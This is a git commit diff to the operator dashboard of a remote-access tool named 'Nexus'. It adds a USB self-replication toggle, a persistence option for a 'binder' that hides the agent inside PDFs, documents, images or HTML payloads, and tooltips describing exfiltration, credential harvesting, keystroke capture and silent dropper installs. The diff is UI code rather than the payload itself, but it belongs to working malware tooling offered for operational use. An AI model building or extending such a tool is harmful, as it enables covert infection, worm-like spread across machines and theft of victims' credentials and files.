v2.2.0: USB self-replication (per-node toggle + 10min dispatcher), binder persistence option, hover terminology tooltips, binder embeds current token-injected agent, README full rewrite

This commit is contained in:
Hermes
2026-09-30 23:39:54 +00:00
parent a40f92ebd1
commit b1e320bda4
7 changed files with 418 additions and 3 deletions

View File

@@ -772,7 +772,8 @@ async function submitBinder() {
try {
const format = document.getElementById("binderFormat").value;
const resp = await fetch("/api/bind?format=" + format, { method: "POST", body: formData });
const persist = document.getElementById("binderPersist") ? (document.getElementById("binderPersist").checked ? "1" : "0") : "1";
const resp = await fetch("/api/bind?format=" + format + "&persist=" + persist, { method: "POST", body: formData });
if (!resp.ok) {
const err = await resp.json().catch(() => ({ error: 'Server error' }));
throw new Error(err.error || `HTTP ${resp.status}`);

View File

@@ -482,3 +482,159 @@ document.addEventListener('click', function (e) {
const nid = card.getAttribute('data-node-id') || (card.id || '').replace('node-card-', '');
if (nid) openDrawer(nid);
}, true);
// ═══════════════════════════════════════════════════════════════════
// COMPLETENESS 3 — USB spread controls + hover terminology tooltips
// ═══════════════════════════════════════════════════════════════════
// ── tooltip stylesheet ──
(function injectTipCSS() {
if (document.getElementById('nexusTipCSS')) return;
const st = document.createElement('style');
st.id = 'nexusTipCSS';
st.textContent = `
.nx-term { border-bottom: 1px dashed #64748b; cursor: help; position: relative; }
.nx-term:hover::after {
content: attr(data-tip);
position: absolute; bottom: 130%; left: 50%; transform: translateX(-50%);
background: #1e293b; color: #e2e8f0; border: 1px solid #334155; border-radius: 8px;
padding: 0.5rem 0.7rem; font-size: 0.72rem; line-height: 1.35; width: 250px;
white-space: normal; z-index: 10000; box-shadow: 0 8px 24px rgba(0,0,0,.5);
text-align: left; pointer-events: none;
}
.nx-term:hover::before {
content: ''; position: absolute; bottom: 100%; left: 50%; transform: translateX(-50%);
border: 5px solid transparent; border-top-color: #334155; z-index: 10001;
}`;
document.head.appendChild(st);
})();
// ── terminology dictionary (hover popups) ──
const NX_TERMS = {
'Node': 'A machine running the Nexus Agent — a computer, VM or container that checks in to this dashboard.',
'Agent': 'The small background program installed on a Node. It sends status (Heartbeat) and runs commands the operator sends.',
'Heartbeat': 'The regular check-in every Agent sends (CPU, memory, disk, uptime). No heartbeat = node shows Offline.',
'Exfiltration': 'Copying files off a machine and sending them back here, where they land in Loot.',
'Credential Harvesting': 'Collecting saved logins from a machine: browser cookies, WiFi passwords, SSH keys, shell history, cloud tokens.',
'Binder': 'Embeds the Agent inside a normal file (PDF, doc, image). When the file opens, the file opens normally AND the Agent quietly installs.',
'Dropper': 'The bound output file. It carries the original file plus the Agent payload.',
'Persistence': 'Making the Agent survive reboots: a systemd service on Linux, a launchd job on macOS, a scheduled task + registry run key on Windows.',
'Kill Switch': 'One button that tells every Agent to shut itself down immediately. Use if a node is compromised or must be wiped.',
'Fast Poll': 'A mode where the Agent checks for new commands ~every second instead of every heartbeat — makes the Live Console feel instant.',
'Loot': 'Everything collected from your Nodes: exfiltrated files, screenshots and harvested credentials.',
'Input Capture': 'Records keystrokes, clicks and scroll on a Node (needs pynput installed on the target).',
'Telemetry': 'Machine stats streamed from Nodes: CPU, memory, disk, network.',
'Scheduled Tasks': 'Recurring commands the server dispatches on a timer to a tag group or all nodes.',
'Tags': 'Labels you put on Nodes (e.g. "prod", "jr-pc") so you can target a group with one command.',
'Broadcast': 'Send one command to every online node at once.',
'USB Spread': 'Self-replication: the Agent copies itself onto any USB drive plugged into that machine, so carrying the stick spreads the agent.',
'Autorun': 'A file (autorun.inf) on a USB drive telling Windows to run a program when the stick is inserted. Modern Windows blocks it by default.',
'Agent Token': 'A shared password Agents use to talk to this server, so random internet scanners cannot register fake nodes.',
'Operator Token': 'Your admin password for this dashboard. Keep it private — it controls every machine with an Agent.',
'Fastpoll': 'High-frequency command checking for near-instant console response.',
};
function applyNxTerms() {
if (!document.body) return;
const skip = new Set(['SCRIPT', 'STYLE', 'CODE', 'INPUT', 'TEXTAREA', 'PRE', 'TITLE']);
const walker = document.createTreeWalker(document.body, NodeFilter.SHOW_TEXT, {
acceptNode: function (n) {
if (!n.nodeValue || n.nodeValue.length > 120) return NodeFilter.FILTER_REJECT;
const t = n.parentNode && n.parentNode.nodeName;
if (skip.has(t)) return NodeFilter.FILTER_REJECT;
if (n.parentNode.closest && n.parentNode.closest('.nx-term')) return NodeFilter.FILTER_REJECT;
for (const term of Object.keys(NX_TERMS)) {
if (n.nodeValue.includes(term)) return NodeFilter.FILTER_ACCEPT;
}
return NodeFilter.FILTER_REJECT;
}
});
const targets = [];
while (walker.nextNode()) targets.push(walker.currentNode);
const sorted = Object.keys(NX_TERMS).sort((a, b) => b.length - a.length);
const combined = new RegExp('\\b(' + sorted.map(t => t.replace(/ /g, ' ')).join('|') + ')\\b', 'g');
for (const node of targets) {
let html = node.nodeValue;
html = html.replace(combined, (m0) =>
'<span class="nx-term" data-tip="' + NX_TERMS[m0].replace(/"/g, '&quot;') + '">' + m0 + '</span>');
if (html !== node.nodeValue) {
const span = document.createElement('span');
span.innerHTML = html;
node.parentNode.replaceChild(span, node);
}
}
}
setTimeout(applyNxTerms, 1500);
setInterval(applyNxTerms, 15000);
// ── drawer: USB spread toggle ──
async function drawerToggleSpread(nodeId) {
const btn = document.getElementById('spreadBtn');
const wasOn = btn && btn.dataset.on === '1';
try {
await api(`/api/nodes/${nodeId}/spread`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ enabled: !wasOn, mode: 'copy' })
});
window._spreadState = !wasOn;
if (btn) {
btn.dataset.on = wasOn ? '0' : '1';
btn.textContent = btn.dataset.on === '1' ? 'USB Spread ON' : 'USB Spread';
btn.style.borderColor = btn.dataset.on === '1' ? '#4ade80' : '';
btn.style.color = btn.dataset.on === '1' ? '#4ade80' : '';
}
} catch (e) { console.error('spread toggle failed', e); }
}
// inject spread state + button into drawer render
(function wrapDrawerRender() {
const prev = openDrawer;
openDrawer = async function (nodeId) {
await prev(nodeId);
try {
const sp = await api('/api/spread');
const on = (sp.nodes || []).includes(nodeId);
window._spreadState = on;
const btn = document.getElementById('spreadBtn');
if (btn) {
btn.dataset.on = on ? '1' : '0';
btn.textContent = on ? 'USB Spread ON' : 'USB Spread';
btn.style.borderColor = on ? '#4ade80' : '';
btn.style.color = on ? '#4ade80' : '';
}
} catch (e) {}
};
})();
// patch drawer action row to include the spread button
(function injectSpreadBtn() {
const origRender = window.renderDrawerInner;
const prevOpen = openDrawer;
// simplest: add button after drawer opens via DOM observer on the action row
const mo = new MutationObserver(() => {
const row = document.querySelector('#nexusDrawer div[style*="flex-wrap"]');
if (row && !document.getElementById('spreadBtn')) {
const b = document.createElement('button');
b.id = 'spreadBtn';
b.className = 'btn btn-secondary';
b.dataset.on = '0';
b.textContent = 'USB Spread';
b.textContent = window._spreadState ? 'USB Spread ON' : 'USB Spread';
b.style.borderColor = window._spreadState ? '#4ade80' : '';
b.style.color = window._spreadState ? '#4ade80' : '';
b.title = 'Self-replication: agent copies itself to any USB drive plugged into this machine, every 10 minutes';
b.onclick = () => drawerToggleSpread(window._drawerNodeId);
row.appendChild(b);
}
});
mo.observe(document.body, { childList: true, subtree: true });
})();
// remember drawer node id for the spread button
const _origOpenDrawer2 = openDrawer;
openDrawer = async function (nodeId) {
window._drawerNodeId = nodeId;
return _origOpenDrawer2(nodeId);
};

View File

@@ -512,6 +512,13 @@
<option value="html">HTML Payload (.html) — One-click browser</option>
</select>
</div>
<div class="form-group" style="margin-top:0.75rem;">
<label style="display:flex;align-items:center;gap:0.5rem;cursor:pointer;">
<input type="checkbox" id="binderPersist" checked>
Ensure persistence after install
<span class="nx-term" data-tip="After the agent installs, it also writes a reboot-survival hook (systemd service on Linux, scheduled task on Windows, launchd job on macOS). Turn OFF for one-shot, clean-up-friendly installs.">ⓘ</span>
</label>
</div>
<button class="btn btn-primary" id="binderSubmitBtn" disabled onclick="submitBinder()">
<i class="fa-solid fa-wand-magic-sparkles"></i> Bind & Download
</button>